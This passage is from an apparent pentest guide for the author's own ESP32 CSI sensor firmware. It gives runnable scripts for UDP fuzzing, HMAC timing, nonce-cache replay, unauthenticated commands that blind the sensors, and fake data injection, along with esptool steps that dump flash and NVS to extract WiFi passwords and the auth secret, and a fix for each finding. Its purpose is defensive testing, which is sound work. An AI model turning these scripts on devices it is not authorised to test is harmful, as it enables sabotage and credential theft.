Executed non-invasive pentest against amber-maple (v1.12-dev): - Phase 1: mDNS, port scan, binary analysis, eFuse readout - Phase 2: HMAC timing, command injection (27 tests), replay (6 tests) - Phase 3: NVS analysis, CVE check (12 CVEs), binary structure All network-facing tests PASS. Physical security gaps documented.
1579 lines
50 KiB
Markdown
1579 lines
50 KiB
Markdown
# ESP32 CSI Sensor Firmware -- Practical Pentest Guide
|
|
|
|
**Target:** ESP32-WROOM-32 running `csi_recv_router` firmware (v1.11/v1.12)
|
|
**ESP-IDF:** v5.5.2 | **Protocol:** UDP command/data on ports 5501/5500
|
|
**Lab:** Raspberry Pi 5 (Debian trixie), standard Linux tools, esptool.py, optional second ESP32
|
|
|
|
---
|
|
|
|
## Table of Contents
|
|
|
|
1. [Lab Setup and Prerequisites](#1-lab-setup-and-prerequisites)
|
|
2. [Network Attack Surface](#2-network-attack-surface)
|
|
3. [Protocol Attacks](#3-protocol-attacks)
|
|
4. [Firmware Binary Analysis](#4-firmware-binary-analysis)
|
|
5. [Hardware Attacks](#5-hardware-attacks)
|
|
6. [OTA Attack Surface](#6-ota-attack-surface)
|
|
7. [Side-Channel Attacks](#7-side-channel-attacks)
|
|
8. [Dependency and CVE Analysis](#8-dependency-and-cve-analysis)
|
|
9. [Wireless Attacks](#9-wireless-attacks)
|
|
10. [Automated Test Scripts](#10-automated-test-scripts)
|
|
|
|
---
|
|
|
|
## 1. Lab Setup and Prerequisites
|
|
|
|
### Tools to Install
|
|
|
|
```bash
|
|
# Network analysis
|
|
sudo apt install -y nmap tcpdump tshark ncat socat
|
|
|
|
# WiFi (requires compatible adapter -- see section 9)
|
|
sudo apt install -y aircrack-ng mdk4 hostapd dnsmasq
|
|
|
|
# Binary analysis
|
|
sudo apt install -y binwalk xxd file
|
|
|
|
# Python pentest libraries
|
|
pip3 install --user scapy bleak pwntools
|
|
|
|
# ESP32-specific
|
|
pip3 install --user esptool
|
|
|
|
# Ghidra (optional, for deep reverse engineering)
|
|
# Download from https://ghidra-sre.org/ -- runs on RPi5 with JDK 17+
|
|
sudo apt install -y openjdk-17-jre
|
|
```
|
|
|
|
### Network Topology Reference
|
|
|
|
```
|
|
Raspberry Pi 5 ESP32 Sensors
|
|
192.168.129.x 192.168.129.29 (muddy-storm)
|
|
|-- eth0 / wlan0 192.168.129.30 (amber-maple)
|
|
| 192.168.129.31 (hollow-acorn)
|
|
| |
|
|
+------------- LAN (WiFi) --------------+
|
|
Ports:
|
|
5500/udp CSI data (outbound)
|
|
5501/udp Commands (inbound)
|
|
5353/udp mDNS
|
|
```
|
|
|
|
### Quick Connectivity Check
|
|
|
|
```bash
|
|
# Verify sensors are reachable
|
|
for ip in 192.168.129.{29,30,31}; do
|
|
echo "STATUS" | ncat -u -w1 "$ip" 5501
|
|
done
|
|
```
|
|
|
|
---
|
|
|
|
## 2. Network Attack Surface
|
|
|
|
### 2.1 Service Discovery via mDNS
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Information leakage via mDNS; device enumeration without auth |
|
|
| **Tools** | `avahi-browse`, `dig`, `nmap` |
|
|
| **Finding** | Device hostname, service type `_esp-csi._udp`, target port exposed |
|
|
| **Fix** | Remove instance name "ESP32 CSI Sensor"; consider disabling mDNS in production |
|
|
|
|
```bash
|
|
# Enumerate all ESP32 CSI sensors on the LAN
|
|
avahi-browse -art 2>/dev/null | grep -A4 '_esp-csi'
|
|
|
|
# Alternative using DNS-SD query
|
|
dig @224.0.0.251 -p 5353 -t PTR _esp-csi._udp.local +short
|
|
|
|
# Nmap mDNS service scan
|
|
nmap -sU -p 5353 --script=dns-service-discovery 192.168.129.0/24
|
|
```
|
|
|
|
**What a finding looks like:**
|
|
```
|
|
= muddy-storm [ESP32 CSI Sensor] _esp-csi._udp; port=5500
|
|
= amber-maple [ESP32 CSI Sensor] _esp-csi._udp; port=5500
|
|
```
|
|
All three sensors fully enumerable without any authentication.
|
|
|
|
---
|
|
|
|
### 2.2 Port Scanning and Service Fingerprinting
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Open ports, unexpected services, UDP response behavior |
|
|
| **Tools** | `nmap` |
|
|
| **Finding** | Open UDP ports 5500, 5501 visible; responses leak firmware version |
|
|
| **Fix** | Bind to specific interface IP; require auth for STATUS |
|
|
|
|
```bash
|
|
# Full UDP port scan on a single sensor
|
|
nmap -sU -p- --min-rate=1000 192.168.129.29
|
|
|
|
# Targeted scan with version detection
|
|
nmap -sUV -p 5500,5501,5353 192.168.129.29
|
|
|
|
# Scan all three sensors
|
|
nmap -sU -p 5500,5501,5353 192.168.129.29-31
|
|
```
|
|
|
|
---
|
|
|
|
### 2.3 Traffic Sniffing (Passive)
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Cleartext data exposure; credential leakage; command replay material |
|
|
| **Tools** | `tcpdump`, `tshark` |
|
|
| **Finding** | All CSI data, BLE data, commands, HMAC tokens visible in cleartext |
|
|
| **Fix** | DTLS for command channel; encrypted data stream (stretch goal) |
|
|
|
|
```bash
|
|
# Capture all ESP32 sensor traffic
|
|
sudo tcpdump -i eth0 -nn 'udp and (port 5500 or port 5501)' -w esp32-capture.pcap
|
|
|
|
# Live decode -- see commands and responses
|
|
sudo tcpdump -i eth0 -nn -A 'udp port 5501'
|
|
|
|
# Extract only command/response pairs with tshark
|
|
tshark -r esp32-capture.pcap -Y 'udp.port == 5501' \
|
|
-T fields -e ip.src -e ip.dst -e data.text
|
|
|
|
# Watch for HMAC tokens in transit (to capture for replay testing)
|
|
sudo tcpdump -i eth0 -nn -A 'udp port 5501' | grep 'HMAC:'
|
|
```
|
|
|
|
**What a finding looks like:**
|
|
```
|
|
192.168.129.1.42310 > 192.168.129.29.5501: HMAC:a1b2c3d4....:1234:OTA http://192.168.129.1:8899/fw.bin
|
|
192.168.129.29.5501 > 192.168.129.1.42310: OK OTA started
|
|
```
|
|
Complete HMAC token, timestamp, and command visible to any host on the same network segment.
|
|
|
|
---
|
|
|
|
### 2.4 UDP Fuzzing
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Crash resilience; buffer overflow; malformed input handling |
|
|
| **Tools** | Python + `socket`, `radamsa` (if installed), custom scripts |
|
|
| **Finding** | Device crash/reboot on malformed input = memory safety bug |
|
|
| **Fix** | Bounds checks on all input paths; watchdog recovery |
|
|
|
|
```bash
|
|
# Install radamsa (mutation fuzzer)
|
|
sudo apt install -y radamsa
|
|
|
|
# Generate a corpus of valid commands
|
|
cat > /tmp/udp-corpus.txt << 'EOF'
|
|
STATUS
|
|
CONFIG
|
|
PING
|
|
HELP
|
|
RATE 50
|
|
POWER 10
|
|
CSI ON
|
|
CSI OFF
|
|
BLE ON
|
|
BLE OFF
|
|
ADAPTIVE ON
|
|
ADAPTIVE OFF
|
|
PRESENCE ON
|
|
PRESENCE OFF
|
|
CALIBRATE 100
|
|
CALIBRATE CLEAR
|
|
CALIBRATE STATUS
|
|
CSIMODE RAW
|
|
CSIMODE COMPACT
|
|
CSIMODE HYBRID 10
|
|
CHANSCAN NOW
|
|
CHANSCAN ON 300
|
|
LED QUIET
|
|
LED AUTO
|
|
LOG VERBOSE
|
|
LOG NONE
|
|
ALERT TEMP 70
|
|
ALERT HEAP 30000
|
|
ALERT OFF
|
|
FLOODTHRESH 5 10
|
|
IDENTIFY
|
|
HOSTNAME test-name
|
|
TARGET 192.168.129.1 5500
|
|
EOF
|
|
```
|
|
|
|
```python
|
|
#!/usr/bin/env python3
|
|
"""udp_fuzz.py -- Fuzz ESP32 command port with malformed packets."""
|
|
|
|
import socket
|
|
import random
|
|
import time
|
|
import sys
|
|
|
|
TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.129.29"
|
|
PORT = 5501
|
|
ITERATIONS = 10000
|
|
|
|
# Seed corpus
|
|
COMMANDS = [
|
|
b"STATUS", b"CONFIG", b"PING", b"HELP", b"RATE 50",
|
|
b"POWER 10", b"CSI ON", b"BLE ON", b"CALIBRATE 100",
|
|
b"CSIMODE RAW", b"HOSTNAME test", b"TARGET 1.1.1.1 5500",
|
|
b"HMAC:0000000000000000000000000000000:0:STATUS",
|
|
]
|
|
|
|
def mutate(data: bytes) -> bytes:
|
|
"""Simple mutation strategies."""
|
|
strategy = random.randint(0, 7)
|
|
d = bytearray(data)
|
|
if strategy == 0 and len(d) > 0:
|
|
# Bit flip
|
|
idx = random.randint(0, len(d) - 1)
|
|
d[idx] ^= (1 << random.randint(0, 7))
|
|
elif strategy == 1:
|
|
# Append random bytes
|
|
d.extend(random.randbytes(random.randint(1, 200)))
|
|
elif strategy == 2:
|
|
# Truncate
|
|
if len(d) > 1:
|
|
d = d[:random.randint(1, len(d) - 1)]
|
|
elif strategy == 3:
|
|
# Insert null bytes
|
|
idx = random.randint(0, len(d))
|
|
d[idx:idx] = b'\x00' * random.randint(1, 10)
|
|
elif strategy == 4:
|
|
# Oversized packet (near MTU limit)
|
|
d = random.randbytes(random.randint(192, 1400))
|
|
elif strategy == 5:
|
|
# Format string specifiers
|
|
d = b"STATUS %x%x%x%x%x%x%x%x%n%n"
|
|
elif strategy == 6:
|
|
# Very long single field
|
|
d = b"RATE " + b"9" * random.randint(50, 500)
|
|
elif strategy == 7:
|
|
# Repeated separator characters
|
|
d = b" ".join([b"CMD"] * random.randint(50, 200))
|
|
return bytes(d)
|
|
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
sock.settimeout(0.2)
|
|
|
|
alive_count = 0
|
|
for i in range(ITERATIONS):
|
|
seed = random.choice(COMMANDS)
|
|
payload = mutate(seed)
|
|
try:
|
|
sock.sendto(payload, (TARGET, PORT))
|
|
except OSError:
|
|
pass
|
|
|
|
# Periodic liveness check
|
|
if i % 100 == 0:
|
|
try:
|
|
sock.sendto(b"PING", (TARGET, PORT))
|
|
resp, _ = sock.recvfrom(1500)
|
|
if b"PONG" in resp:
|
|
alive_count += 1
|
|
else:
|
|
print(f"[!] Iteration {i}: unexpected response: {resp[:60]}")
|
|
except socket.timeout:
|
|
print(f"[!] Iteration {i}: DEVICE NOT RESPONDING -- possible crash!")
|
|
time.sleep(5) # Wait for reboot
|
|
try:
|
|
sock.sendto(b"PING", (TARGET, PORT))
|
|
sock.recvfrom(1500)
|
|
print(f"[+] Device recovered (rebooted)")
|
|
except socket.timeout:
|
|
print(f"[!!] Device still down after 5s")
|
|
break
|
|
|
|
# Rate limit to avoid overwhelming (50ms between sends, matching firmware throttle)
|
|
time.sleep(0.055)
|
|
|
|
print(f"Completed {ITERATIONS} iterations, {alive_count} liveness checks passed")
|
|
sock.close()
|
|
```
|
|
|
|
**What a finding looks like:**
|
|
- Device stops responding to PING after a specific mutation = crash
|
|
- Device reboots (boot count increments) = unhandled exception
|
|
- Log `[!!] Device still down after 5s` = hard fault
|
|
|
|
---
|
|
|
|
## 3. Protocol Attacks
|
|
|
|
### 3.1 HMAC Timing Analysis
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Whether HMAC comparison leaks timing information |
|
|
| **Tools** | Python + high-resolution timing |
|
|
| **Finding** | Statistically significant timing difference between "first byte wrong" vs "last byte wrong" |
|
|
| **Fix** | Already implemented: constant-time comparison (line 1525 of `app_main.c`) |
|
|
|
|
The firmware uses `volatile uint8_t diff` with XOR accumulation (line 1524-1528), which is
|
|
the correct pattern. This test validates that it actually works over the network.
|
|
|
|
```python
|
|
#!/usr/bin/env python3
|
|
"""hmac_timing.py -- Test for timing oracle in HMAC verification."""
|
|
|
|
import socket
|
|
import time
|
|
import statistics
|
|
|
|
TARGET = "192.168.129.29"
|
|
PORT = 5501
|
|
SAMPLES = 200
|
|
|
|
def measure_response(payload: bytes) -> float | None:
|
|
"""Send payload, measure response time in microseconds."""
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
sock.settimeout(1.0)
|
|
start = time.perf_counter_ns()
|
|
sock.sendto(payload, (TARGET, PORT))
|
|
try:
|
|
sock.recvfrom(1500)
|
|
except socket.timeout:
|
|
sock.close()
|
|
return None
|
|
elapsed = (time.perf_counter_ns() - start) / 1000 # microseconds
|
|
sock.close()
|
|
return elapsed
|
|
|
|
# Test 1: All zeros HMAC (fails on first byte)
|
|
all_zeros = b"HMAC:00000000000000000000000000000000:0:STATUS"
|
|
|
|
# Test 2: HMAC with correct prefix but wrong suffix (if we knew partial secret)
|
|
# For blind testing, use different wrong values
|
|
half_right = b"HMAC:ffffffffffffffffffffffffffffffff:0:STATUS"
|
|
|
|
# Test 3: Malformed (no HMAC at all, different code path)
|
|
no_hmac = b"STATUS"
|
|
|
|
print("Collecting timing samples...")
|
|
timings = {"all_zeros": [], "all_ff": [], "no_hmac": []}
|
|
|
|
for i in range(SAMPLES):
|
|
t = measure_response(all_zeros)
|
|
if t:
|
|
timings["all_zeros"].append(t)
|
|
time.sleep(0.06)
|
|
|
|
t = measure_response(half_right)
|
|
if t:
|
|
timings["all_ff"].append(t)
|
|
time.sleep(0.06)
|
|
|
|
t = measure_response(no_hmac)
|
|
if t:
|
|
timings["no_hmac"].append(t)
|
|
time.sleep(0.06)
|
|
|
|
for name, samples in timings.items():
|
|
if samples:
|
|
print(f"{name:12s}: n={len(samples):4d} "
|
|
f"mean={statistics.mean(samples):8.0f}us "
|
|
f"median={statistics.median(samples):8.0f}us "
|
|
f"stdev={statistics.stdev(samples):7.0f}us")
|
|
|
|
# Statistical test: if mean differs by >50us between zero/ff, possible timing leak
|
|
if timings["all_zeros"] and timings["all_ff"]:
|
|
diff = abs(statistics.mean(timings["all_zeros"]) - statistics.mean(timings["all_ff"]))
|
|
print(f"\nTiming difference (zeros vs ff): {diff:.0f}us")
|
|
if diff > 50:
|
|
print("[!] POSSIBLE TIMING ORACLE -- difference exceeds 50us")
|
|
else:
|
|
print("[+] Constant-time comparison appears effective")
|
|
```
|
|
|
|
**What a finding looks like:**
|
|
A statistically significant difference (>50us) between different wrong HMACs
|
|
would indicate the comparison is not constant-time. Network jitter on a LAN is
|
|
typically 100-500us, so this test requires many samples and careful interpretation.
|
|
|
|
---
|
|
|
|
### 3.2 Replay Attack (Nonce Cache Overflow)
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Whether the 8-entry nonce dedup cache can be overflowed to replay commands |
|
|
| **Tools** | Python + `hmac` |
|
|
| **Finding** | After 8 unique authenticated commands, the first one's nonce is evicted and can be replayed |
|
|
| **Fix** | Increase cache size; use monotonic sequence counter instead of timestamp |
|
|
|
|
The nonce cache is only 8 entries (line 1450: `AUTH_NONCE_CACHE_SIZE 8`).
|
|
The timestamp window is +/-5 seconds. Attack: send 8 unique commands rapidly to
|
|
fill the cache, then replay the first one.
|
|
|
|
```python
|
|
#!/usr/bin/env python3
|
|
"""replay_attack.py -- Test nonce cache overflow for HMAC replay."""
|
|
|
|
import hashlib
|
|
import hmac
|
|
import socket
|
|
import time
|
|
|
|
TARGET = "192.168.129.29"
|
|
PORT = 5501
|
|
SECRET = "YOUR_SECRET_HERE" # from NVS or serial capture
|
|
|
|
def sign(cmd: str, ts: int) -> bytes:
|
|
payload = f"{ts}:{cmd}"
|
|
digest = hmac.new(SECRET.encode(), payload.encode(), hashlib.sha256).hexdigest()
|
|
return f"HMAC:{digest[:32]}:{payload}".encode()
|
|
|
|
def send_cmd(sock, payload: bytes) -> str:
|
|
sock.sendto(payload, (TARGET, PORT))
|
|
try:
|
|
resp, _ = sock.recvfrom(1500)
|
|
return resp.decode(errors="replace")
|
|
except socket.timeout:
|
|
return "<timeout>"
|
|
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
sock.settimeout(1.0)
|
|
|
|
# Step 1: Get device uptime from STATUS
|
|
sock.sendto(b"STATUS", (TARGET, PORT))
|
|
resp = sock.recvfrom(1500)[0].decode()
|
|
# Parse uptime from STATUS response (format: "uptime=1234s")
|
|
uptime = 0
|
|
for field in resp.split():
|
|
if field.startswith("uptime="):
|
|
uptime = int(field.split("=")[1].rstrip("s"))
|
|
|
|
print(f"Device uptime: {uptime}s")
|
|
|
|
# Step 2: Sign a target command at current timestamp
|
|
target_ts = uptime
|
|
target_cmd = sign("STATUS", target_ts)
|
|
print(f"\n[1] Initial send of target command:")
|
|
print(f" Response: {send_cmd(sock, target_cmd)[:60]}")
|
|
time.sleep(0.06)
|
|
|
|
# Step 3: Replay immediately -- should be rejected
|
|
print(f"\n[2] Immediate replay (should be rejected):")
|
|
print(f" Response: {send_cmd(sock, target_cmd)[:60]}")
|
|
time.sleep(0.06)
|
|
|
|
# Step 4: Flood cache with 8 different commands to evict the target nonce
|
|
print(f"\n[3] Flooding nonce cache with 8 unique commands...")
|
|
for i in range(8):
|
|
# Use different commands with same timestamp (within window)
|
|
filler = sign(f"PING", target_ts + i % 5) # vary slightly
|
|
resp = send_cmd(sock, filler)
|
|
time.sleep(0.06)
|
|
|
|
# Step 5: Replay the original command -- should now succeed (cache evicted)
|
|
print(f"\n[4] Replaying original command after cache overflow:")
|
|
resp = send_cmd(sock, target_cmd)
|
|
print(f" Response: {resp[:60]}")
|
|
|
|
if "ERR AUTH replay" in resp:
|
|
print("\n[+] Replay correctly rejected -- cache survived overflow")
|
|
elif "ERR AUTH expired" in resp:
|
|
print("\n[~] Timestamp expired -- test took too long, retry faster")
|
|
else:
|
|
print("\n[!] REPLAY SUCCEEDED -- nonce cache overflow confirmed!")
|
|
|
|
sock.close()
|
|
```
|
|
|
|
**What a finding looks like:**
|
|
Step 4 returns a valid response instead of `ERR AUTH replay rejected` = the
|
|
8-entry nonce cache was overflowed and the original HMAC was replayed.
|
|
|
|
---
|
|
|
|
### 3.3 Unauthenticated Command Abuse
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Which state-modifying commands work without HMAC authentication |
|
|
| **Tools** | `ncat`, simple shell loop |
|
|
| **Finding** | CSI OFF, PRESENCE OFF, LOG NONE, CALIBRATE CLEAR, etc. all work without auth |
|
|
| **Fix** | Require auth for all state-modifying commands (see VULN-007 in SECURITY-AUDIT.md) |
|
|
|
|
```bash
|
|
# Test every command that modifies state without auth
|
|
SENSOR="192.168.129.29"
|
|
|
|
# Commands that SHOULD require auth but currently don't:
|
|
for cmd in \
|
|
"CSI OFF" \
|
|
"PRESENCE OFF" \
|
|
"LOG NONE" \
|
|
"CALIBRATE CLEAR" \
|
|
"FLOODTHRESH 100 300" \
|
|
"ALERT OFF" \
|
|
"RATE 10" \
|
|
"POWER 2" \
|
|
"BLE OFF" \
|
|
"ADAPTIVE OFF" \
|
|
"LED AUTO" \
|
|
"CSIMODE COMPACT" \
|
|
"CHANSCAN ON 60" \
|
|
"POWERSAVE ON"
|
|
do
|
|
resp=$(echo "$cmd" | ncat -u -w1 "$SENSOR" 5501)
|
|
if echo "$resp" | grep -q "^OK\|^ERR AUTH"; then
|
|
prefix=$(echo "$resp" | grep -q "^OK" && echo "VULN" || echo "SAFE")
|
|
printf "%-25s %s %s\n" "$cmd" "$prefix" "$resp"
|
|
fi
|
|
done
|
|
```
|
|
|
|
**What a finding looks like:**
|
|
```
|
|
CSI OFF VULN OK CSI collection disabled
|
|
PRESENCE OFF VULN OK presence detection disabled
|
|
LOG NONE VULN OK log level=NONE
|
|
CALIBRATE CLEAR VULN OK baseline cleared
|
|
FLOODTHRESH 100 300 VULN OK flood_thresh=100 window=300s
|
|
```
|
|
An attacker can blind all sensors, suppress logging, disable intrusion detection,
|
|
all without any credentials.
|
|
|
|
---
|
|
|
|
### 3.4 Command Injection via String Fields
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Whether attacker-controlled strings (HOSTNAME, TARGET) can inject into log output, NVS, or data streams |
|
|
| **Tools** | `ncat` |
|
|
| **Finding** | Hostname with newlines/special chars could poison downstream log parsers or CSV data |
|
|
| **Fix** | Sanitize hostname to `[a-z0-9-]` only; already partially done but verify |
|
|
|
|
```bash
|
|
SENSOR="192.168.129.29"
|
|
|
|
# Test format string injection in hostname
|
|
echo "HOSTNAME %x%x%x%x" | ncat -u -w1 "$SENSOR" 5501
|
|
|
|
# Test newline injection (could split CSV/log lines)
|
|
printf "HOSTNAME test\nINJECT" | ncat -u -w1 "$SENSOR" 5501
|
|
|
|
# Test null byte injection
|
|
printf "HOSTNAME test\x00hidden" | ncat -u -w1 "$SENSOR" 5501
|
|
|
|
# Test oversized hostname (buffer is char[32])
|
|
echo "HOSTNAME $(python3 -c 'print("A"*100)')" | ncat -u -w1 "$SENSOR" 5501
|
|
|
|
# Test TARGET with format strings
|
|
echo "TARGET %s%s%s%s 5500" | ncat -u -w1 "$SENSOR" 5501
|
|
```
|
|
|
|
**What a finding looks like:**
|
|
- Response contains hex values from stack = format string vulnerability
|
|
- Subsequent STATUS shows corrupted hostname = buffer overflow
|
|
- CSV data stream contains injected lines = log injection
|
|
|
|
---
|
|
|
|
### 3.5 UDP Data Stream Interception and Injection
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Whether an attacker can inject fake CSI/BLE/PROBE data into the collector |
|
|
| **Tools** | Python `socket` |
|
|
| **Finding** | No authentication on the data channel (port 5500); any host can inject fake sensor data |
|
|
| **Fix** | Add HMAC signing to data packets; or validate source IP at collector |
|
|
|
|
```python
|
|
#!/usr/bin/env python3
|
|
"""inject_data.py -- Inject fake sensor data into the collection server."""
|
|
|
|
import socket
|
|
|
|
COLLECTOR = "192.168.129.1" # Flask API host
|
|
PORT = 5500
|
|
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
|
|
# Inject fake CSI data pretending to be muddy-storm
|
|
fake_csi = (
|
|
"CSI_DATA,muddy-storm,999999,AA:BB:CC:DD:EE:FF,-50,11,1,0,0,0,0,0,0,"
|
|
"0,0,-95,0,6,0,1234567,0,128,0,64,0,\"[0,0,0,0]\"\n"
|
|
)
|
|
sock.sendto(fake_csi.encode(), (COLLECTOR, PORT))
|
|
|
|
# Inject fake BLE data (phantom device)
|
|
fake_ble = "BLE_DATA,muddy-storm,DE:AD:BE:EF:00:01,-60,ADV_IND,FakeDevice,0x004C,8,6\n"
|
|
sock.sendto(fake_ble.encode(), (COLLECTOR, PORT))
|
|
|
|
# Inject fake probe request (phantom device tracking)
|
|
fake_probe = "PROBE_DATA,muddy-storm,DE:AD:BE:EF:00:02,-55,TargetSSID,6\n"
|
|
sock.sendto(fake_probe.encode(), (COLLECTOR, PORT))
|
|
|
|
# Inject fake alert (false alarm)
|
|
fake_alert = "ALERT_DATA,muddy-storm,DEAUTH,DE:AD:BE:EF:00:03,FF:FF:FF:FF:FF:FF,-40\n"
|
|
sock.sendto(fake_alert.encode(), (COLLECTOR, PORT))
|
|
|
|
print("Fake data injected -- check Flask API for phantom entries")
|
|
sock.close()
|
|
```
|
|
|
|
---
|
|
|
|
## 4. Firmware Binary Analysis
|
|
|
|
### 4.1 String Extraction
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Hardcoded secrets, URLs, IPs, debug messages, format strings |
|
|
| **Tools** | `strings`, `grep` |
|
|
| **Finding** | WiFi SSID/password, auth hints, API endpoints, build paths in binary |
|
|
| **Fix** | Enable flash encryption; strip debug strings in production |
|
|
|
|
```bash
|
|
FIRMWARE="/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.bin"
|
|
|
|
# Extract all printable strings (min length 6)
|
|
strings -n 6 "$FIRMWARE" > /tmp/fw-strings.txt
|
|
wc -l /tmp/fw-strings.txt
|
|
|
|
# Search for credentials and sensitive patterns
|
|
grep -iE 'password|passwd|secret|key|token|api_key|ssid' /tmp/fw-strings.txt
|
|
grep -iE 'http://|https://|ftp://' /tmp/fw-strings.txt
|
|
grep -iE '192\.168\.|10\.|172\.' /tmp/fw-strings.txt
|
|
grep -iE 'admin|root|default|test|debug' /tmp/fw-strings.txt
|
|
|
|
# Search for format strings (potential vulnerability indicators)
|
|
grep -E '%[0-9]*[sxdnp]' /tmp/fw-strings.txt
|
|
|
|
# Search for NVS key names (reveals all configuration knobs)
|
|
grep -E '^[a-z_]{3,15}$' /tmp/fw-strings.txt | sort -u
|
|
|
|
# Search for ESP-IDF version and build info
|
|
grep -iE 'idf|esp-idf|v[0-9]+\.[0-9]+' /tmp/fw-strings.txt
|
|
|
|
# Search for certificate/TLS related strings
|
|
grep -iE 'cert|tls|ssl|ca_cert|pem|x509' /tmp/fw-strings.txt
|
|
```
|
|
|
|
**What a finding looks like:**
|
|
```
|
|
csi_config <- NVS namespace
|
|
auth_secret <- Key name for HMAC secret
|
|
WIFI_SSID_HERE <- Hardcoded SSID
|
|
http:// <- HTTP (not HTTPS) OTA allowed
|
|
```
|
|
|
|
---
|
|
|
|
### 4.2 Binary Structure Analysis
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Firmware format, partition layout, bootloader version |
|
|
| **Tools** | `esptool.py`, `binwalk`, `file` |
|
|
| **Finding** | Partition offsets, firmware not signed, flash encryption absent |
|
|
| **Fix** | Enable secure boot v2; enable flash encryption |
|
|
|
|
```bash
|
|
FIRMWARE="/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.bin"
|
|
|
|
# Image header info
|
|
esptool.py image_info "$FIRMWARE"
|
|
|
|
# Entropy analysis (encrypted firmware has high, uniform entropy)
|
|
binwalk -E "$FIRMWARE"
|
|
# If entropy is NOT uniformly high, flash encryption is not in use
|
|
|
|
# Search for embedded files/structures
|
|
binwalk "$FIRMWARE"
|
|
|
|
# Check for ELF sections (if .elf is available)
|
|
ELF="/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.elf"
|
|
if [ -f "$ELF" ]; then
|
|
# List all symbols (reveals function names and global variables)
|
|
objdump -t "$ELF" | grep -E 's_auth|s_target|s_hostname|cmd_handle|auth_verify'
|
|
|
|
# Disassemble specific function
|
|
objdump -d "$ELF" | grep -A 50 '<auth_verify>'
|
|
|
|
# Check for debug info
|
|
file "$ELF"
|
|
# "not stripped" = full debug symbols present
|
|
fi
|
|
```
|
|
|
|
---
|
|
|
|
### 4.3 NVS Partition Analysis (from flash dump)
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Extract credentials, auth secret, WiFi PSK from NVS |
|
|
| **Tools** | `esptool.py`, ESP-IDF `nvs_tool.py` |
|
|
| **Finding** | Auth secret, WiFi credentials, hostname in plaintext NVS |
|
|
| **Fix** | Enable NVS encryption (`CONFIG_NVS_ENCRYPTION=y`) + flash encryption |
|
|
|
|
```bash
|
|
# Step 1: Dump NVS partition from device (requires USB connection)
|
|
esptool.py -p /dev/ttyUSB0 -b 921600 \
|
|
read_flash 0x9000 0x4000 /tmp/nvs_dump.bin
|
|
|
|
# Step 2: Parse NVS contents using ESP-IDF tool
|
|
NVS_TOOL="$HOME/esp/esp-idf/components/nvs_flash/nvs_partition_tool/nvs_tool.py"
|
|
python3 "$NVS_TOOL" --dump /tmp/nvs_dump.bin
|
|
|
|
# Step 3: Look for specific keys
|
|
python3 "$NVS_TOOL" --dump /tmp/nvs_dump.bin 2>/dev/null | \
|
|
grep -E 'auth_secret|wifi\.sta\.(ssid|password)|hostname|target_ip'
|
|
|
|
# Alternative: hex dump and manual inspection
|
|
xxd /tmp/nvs_dump.bin | grep -i -A2 'auth'
|
|
```
|
|
|
|
**What a finding looks like:**
|
|
```
|
|
Namespace: csi_config
|
|
auth_secret (STR) = a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
|
|
hostname (STR) = muddy-storm
|
|
|
|
Namespace: nvs.net80211
|
|
sta.ssid (BLOB) = MyHomeWiFi
|
|
sta.pswd (BLOB) = MyWiFiPassword123
|
|
```
|
|
Both the HMAC secret and WiFi credentials extracted in plaintext.
|
|
|
|
---
|
|
|
|
## 5. Hardware Attacks
|
|
|
|
### 5.1 UART Console Capture
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Information leakage via serial; auth secret exposure on boot |
|
|
| **Tools** | `screen`, `minicom`, `picocom`, USB-to-serial adapter |
|
|
| **Finding** | Full boot log with auth secret prefix, all ESP_LOG output |
|
|
| **Fix** | `CONFIG_ESP_CONSOLE_NONE=y` or `CONFIG_LOG_DEFAULT_LEVEL_WARN=y` for production |
|
|
|
|
```bash
|
|
# Connect to UART (ESP32-DevKitC has built-in USB-to-serial)
|
|
picocom -b 921600 /dev/ttyUSB0
|
|
|
|
# Or with screen
|
|
screen /dev/ttyUSB0 921600
|
|
|
|
# Capture boot log to file (includes auth secret on first boot/factory reset)
|
|
picocom -b 921600 --logfile /tmp/uart-capture.log /dev/ttyUSB0
|
|
|
|
# Then trigger a factory reset remotely (if you have auth):
|
|
# echo "HMAC:<token>:FACTORY" | ncat -u -w1 192.168.129.29 5501
|
|
# The new auth secret will appear in the UART log
|
|
```
|
|
|
|
**What a finding looks like:**
|
|
```
|
|
W (1234) csi_recv_router: AUTH: secret generated (a1b2... -- retrieve via serial or NVS)
|
|
```
|
|
On firmware versions before the partial-redaction fix, the full 32-char secret was logged.
|
|
Current version logs only first 4 chars, but the prefix still aids brute-force.
|
|
|
|
---
|
|
|
|
### 5.2 Full Flash Dump and Analysis
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Complete firmware extraction; credential theft; code modification |
|
|
| **Tools** | `esptool.py` |
|
|
| **Finding** | Entire flash readable (no flash encryption); firmware modifiable (no secure boot) |
|
|
| **Fix** | Enable secure boot v2 + flash encryption (one-way eFuse burn for production) |
|
|
|
|
```bash
|
|
# Dump entire 4MB flash
|
|
esptool.py -p /dev/ttyUSB0 -b 921600 \
|
|
